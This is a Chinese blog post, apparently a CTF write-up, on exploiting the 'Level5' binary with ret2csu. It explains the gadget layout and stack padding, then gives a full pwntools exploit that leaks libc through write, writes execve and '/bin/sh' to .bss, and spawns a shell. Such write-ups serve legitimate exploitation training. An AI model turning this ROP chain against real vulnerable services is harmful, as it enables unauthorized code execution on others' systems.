Share this post on:

Level5(ret2csu)

checksec

image-20220413203200072

64位程序,只有NX保护

拖进IDA里,明显的栈溢出

image-20220413203246255

但观察一下没有system和/bin/sh,那么只能自己构造了

先ROPgadget找一些有没有可用的寄存器

image-20220413203437732

很明显没有合适的寄存器给我们来传参,自然想到ret2csu的方法

附一篇自己整理的ret2csu的笔记供参考

ret2csu

还有一篇写的比较好

利用思路:
    当在x64程序中找不到rdx、rsi、edi时,再使用此方法
    确定gadget1、gadget2的地址及顺序 
    构造初步ret2csu payload函数  
rbx=0
rbp=1
r12=需要调用的目标函数
(r12中设置的应该为要调用的函数的指针的地址,即got地址而不是plt地址)

遇到一个奇怪的情况

image-20220412220938112

上图中比标准利用多了一个“ add rsp, 8 ” ,很明显我们需要调整一下rsp的位置,处理办法:

payload += b'A'*0x8 #rsp加了8个字节,我们添加8个字节让rsp回来
payload += p64(0)
payload += p64(1)

对于利用中传参后会有‘A’*0x38的解释

img

首先跳转到loc_4011fe即gadget1给寄存器赋值,然后ret到gadget2将参数转移到需要的寄存器中去,但是gadget2运行后会再次执行一遍gadget1,这样会使得栈空间提升8*7总共56字节,所以我们还需要padding56个字节,然后才能覆盖ret到需要的地址上去

所以我们0x38个字节去填充的指令是:

image-20220413190909063

让我们回到题目
回到主函数,发现程序先调用了write函数,则可以用write函数来泄露libc的基址,找到execve的地址

image-20220413203819358

那么总结一下大致思路:

  1. 通过ret2csu的方法来泄露write函数地址
  2. 计算基址,得到execve的地址
  3. 通过ret2csu的方法调用read函数向bss段读入execve的地址和字符串’/bin/sh/x00‘
  4. 通过ret2csu的方法调用execve

可以看出我们要多次使用ret2csu,不妨写个函数,这样可以大大减少我们的代码量

def csu(payload, rbx, rbp, r12, r13, r14, r15, retn):
    payload += b'A'*0x8
    payload += p64(rbx)
    payload += p64(rbp)
    payload += p64(r12)
    payload += p64(r13)
    payload += p64(r14)
    payload += p64(r15)
    payload += p64(csu2)
    payload += b'A'*0x38
    payload += p64(retn)
    return payload

完整exp:

from pwn import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')
# p = remote()
p = process('./pwn')
gdb.attach(p)
elf = ELF('./pwn')

csu1 = 0x4011DE
csu2 = 0x4011C8
write_got = elf.got['write']
read_addr = elf.got['read']
main_addr = 0x401153
bss_base = elf.bss()
print(hex(bss_base))

def csu(payload, rbx, rbp, r12, r13, r14, r15, retn):
    payload += b'A'*0x8
    payload += p64(rbx)
    payload += p64(rbp)
    payload += p64(r12)
    payload += p64(r13)
    payload += p64(r14)
    payload += p64(r15)
    payload += p64(csu2)
    payload += b'A'*0x38
    payload += p64(retn)
    return payload

payload = b'A'*(0x80+8)
payload += p64(csu1)
payload = csu(payload, 0, 1, write_got, 1, write_got, 8, main_addr)
p.sendline(payload)

write_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(write_addr))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr-libc.dump('write')
execve_addr = libc_base+libc.dump('execve')

payload = b'A'*(0x80+8)
payload += p64(csu1)
payload = csu(payload, 0, 1, read_addr, 0, bss_base, 16, main_addr)
#这里最后一步直接返回main是因为在read调用后会等待用户的输入,还不会直接跳转到main函数
p.sendlineafter('Hello, World\n', payload)
pause()
payload = p64(execve_addr)
payload += b'/bin/sh\x00' #'/x00'表示写入结束
p.send(payload) #这里用send是因为刚好把16个字节写满了

payload = b'A'*(0x80+8)
payload += p64(csu1)
payload = csu(payload, 0, 1, bss_base, bss_base+0x8, 0, 0, main_addr)
p.sendlineafter('Hello, World\n', payload)

p.interactive()
Share this post on:

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注